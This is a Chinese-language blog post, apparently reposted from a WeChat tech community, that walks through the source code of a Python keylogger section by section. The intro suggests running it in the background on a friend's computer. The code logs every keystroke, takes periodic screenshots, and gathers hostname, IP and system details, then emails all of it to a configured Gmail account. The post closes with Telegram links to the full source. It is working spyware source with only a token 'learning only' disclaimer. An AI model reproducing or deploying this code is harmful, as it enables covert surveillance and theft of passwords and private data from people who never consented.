好奇兄弟用你电脑的时候做了什么?可以考虑后台执行工具恶搞一下好友!当然这是不推荐的!!毕竟玩意你稍微不注意玩拖了呢!!
关于(键盘记录器)我相信各位粉丝都不会陌生;键盘记录器的源代码目前在网上搜索有很多。至于成立Pyhton交流群;放在文章最后!
初学者接触键盘记录器最详细的工程步骤:
键盘可实现的基础功能
-
键盘记录
-
可以将键盘日志和屏幕截图保存在文件中
-
可以在给定的时间间隔后打印键盘日志
-
可以在给定的时间间隔后将所有键盘日志和屏幕截图邮件发送给您
准备工具:
代码书写:
第一段代码的分析:
#正常可以利用的库;如下
import keyboard # 为键盘记录
import socket
import os #EsnArsenal
import platform
import smtplib # 用于使用 SMTP 协议发送电子邮件 (gmail)
from email.mime.text import MIMEText #用于在邮件中附加图像
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
# 信号量用于阻塞当前线程 # 计时器是使方法在“间隔”时间后运行,为了后期内容必须了解何为线程
from threading import Semaphore, Timer
import pyscreenshot as ImageGrab #对于屏幕截图
# 代码仅供学习与研究,禁止利用源代码进行违法操作。
第二段代码:
这里定义了发送报告的时间间隔(以秒为单位),以及用于发送报告的电子邮件地址和密码。
SEND_REPORT_EVERY = 1800 # 30分钟 以秒为单位可以自由设定。
EMAIL_ADDRESS = " " # 输入邮箱地址
EMAIL_PASSWORD = " " # 输入邮箱密码
第三段:
-
这是一个名为Keylogger的类的定义。在初始化方法中,设置了报告的时间间隔、以及一个信号量(Semaphore),用于在设置按键监听器后进行阻塞。
class Keylogger:
def __init__(self, interval):
# 将发送邮件的时间间隔设为interval
self.interval = interval
# 存储键盘按键记录的字符串变量
self.log = ""
# 用于在设置 on_release 监听器后进行阻塞
self.semaphore = Semaphore(0)
第四段:
-
这个方法被调用来处理每个键盘事件(按键)。它将按键转换为适当的格式,并将其添加到按键记录(self.log)中。此外,它还将按键记录写入名为“output.txt”的文件中。
def callback(self, event):
# 每当发生键盘事件(按键)时调用此回调函数
name = event.name
if len(name) > 1:
# 非字符、特殊按键(例如 ctrl、alt 等)
# 大写使用 []
if name == "space":
# 将空格键替换为空格字符
name = " "
elif name == "enter":
# 换行符表示按下 ENTER 键
name = "[ENTER]n"
elif name == "decimal":
name = "."
else:
# 将空格替换为下划线
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
# 将按键记录写入文件
# 如果不想记录到文件只想发送邮件,则注释掉下面两行
with open("output.txt", "w+") as output:
output.write(self.log)
第五段:
-
这是一个静态方法,用于发送邮件。它连接到指定的SMTP服务器,并使用TLS模式进行身份验证后发送邮件。
def sendmail(email, password, message):
# 连接到 SMTP 服务器
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# 以 TLS 模式连接到 SMTP 服务器
server.starttls()
# 登录到邮箱账户
server.login(email, password)
# 发送邮件
server.sendmail(email, email, message)
# 终止会话
server.quit()
第六段:
这是另一个静态方法,用于发送屏幕截图作为附件。它创建一个包含屏幕截图的MIME消息,并将其发送到指定的邮箱地址。
@staticmethod
def SendImage(ImgFileName):
# 该方法将屏幕截图作为附件发送
img_data = open(ImgFileName, 'rb').read()
msg = MIMEMultipart()
msg['Subject'] = 'Screenshot'
msg['From'] = EMAIL_ADDRESS
msg['To'] = EMAIL_ADDRESS
text = MIMEText("test")
msg.attach(text)
image = MIMEImage(img_data, name=os.path.basename(ImgFileName))
msg.attach(image)
s = smtplib.SMTP(host="smtp.gmail.com", port=587)
s.ehlo()
s.starttls()
s.ehlo()
s.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
s.sendmail(EMAIL_ADDRESS, EMAIL_ADDRESS, msg.as_string())
s.quit()
第七段:
-
这个方法用于进行屏幕截图。它使用pyscreenshot模块来捕获屏幕图像,并将其保存为“screenshot.png”文件。然后,它调用前面定义的SendImage方法将该图像作为附件发送到指定的邮箱地址,并在发送完成后删除截图文件。
def screenshot(self):
# 使用 pyscreenshot 模块进行屏幕截图
im = ImageGrab.grab()
# 获取当前程序所在文件夹路径
cwd = os.getcwd()
path = cwd + "/" + "screenshot.png"
im.save(path)
self.SendImage(path)
# 发送邮件后删除截图文件
os.remove(path)
第八段:
-
这是一个主要功能函数,将在每个时间间隔(由self.interval指定)调用。它首先调用屏幕截图方法(self.screenshot()),然后发送按键记录(如果有的话)到指定的邮箱地址。最后,它重置按键记录变量(self.log)并启动一个定时器以在下一个时间间隔调用该函数。
def report(self):
"""
每隔 `self.interval` 调用此函数
主要功能是发送按键记录并重置 `self.log` 变量
"""
# 每隔一段时间发送一次屏幕截图
self.screenshot()
if self.log:
# 如果 log 中有内容,则发送报告
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
# 打印到终端
# print(self.log)
self.log = ""
Timer(interval=self.interval, function=self.report).start()
第九段:
这个方法用于获取系统的基本信息,并在开始时将其发送到指定的邮箱地址。它获取主机名和IP地址,并收集有关系统架构、机器类型、系统名称和版本的信息。然后,它将这些信息写入名为“output2.txt”的文件,并将其作为消息发送到指定的邮箱地址。
def computer_info(self):
# 在开始时发送系统的基本信息
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
mssg = "Information of the systemn"
mssg += "Architecture - " + platform.architecture()[0] + " " + platform.architecture()[1]
mssg += "nMachine - " + platform.machine()
mssg += "nSystem - " + platform.system() + "n" + platform.version() + "n"
mssg += "Hostname - " + hostname + "n"
mssg += "IP Address - " + IPAddr + "n"
# 将信息写入文件
# 如果不想记录到文件只想发送邮件,则注释掉下面两行
with open("output2.txt", "w+") as output2:
output2.write(mssg)
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, mssg
)
第十段:
是启动键盘记录器的入口点。它设置键盘监听器(on_release)来捕获按键事件,并在启动时发送系统信息,然后开始按键记录和报告。最后,它阻塞当前线程,因为on_release()不会阻塞当前线程,如果不阻塞,程序会立即关闭。
def start(self):
# 启动键盘记录器
keyboard.on_release(callback=self.callback)
# 发送系统信息
self.computer_info()
# 开始发送按键记录
self.report()
# 阻塞当前线程,
# 因为 on_release() 不会阻塞当前线程
# 如果不阻塞,当执行程序时,不会发生任何事情
# 这是因为 on_release() 会在单独的线程中启动监听器
self.semaphore.acquire()
至于源代码我没有进行储存直接仍在了星球位置:
https://t.me/esntshequ ESN社区备用订阅号
https://t.me/esnshequ ESN社区官方备用群
原文始发于微信公众号(Esn技术社区):Pyhton黑客工具—键盘记录程序拆解细分
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论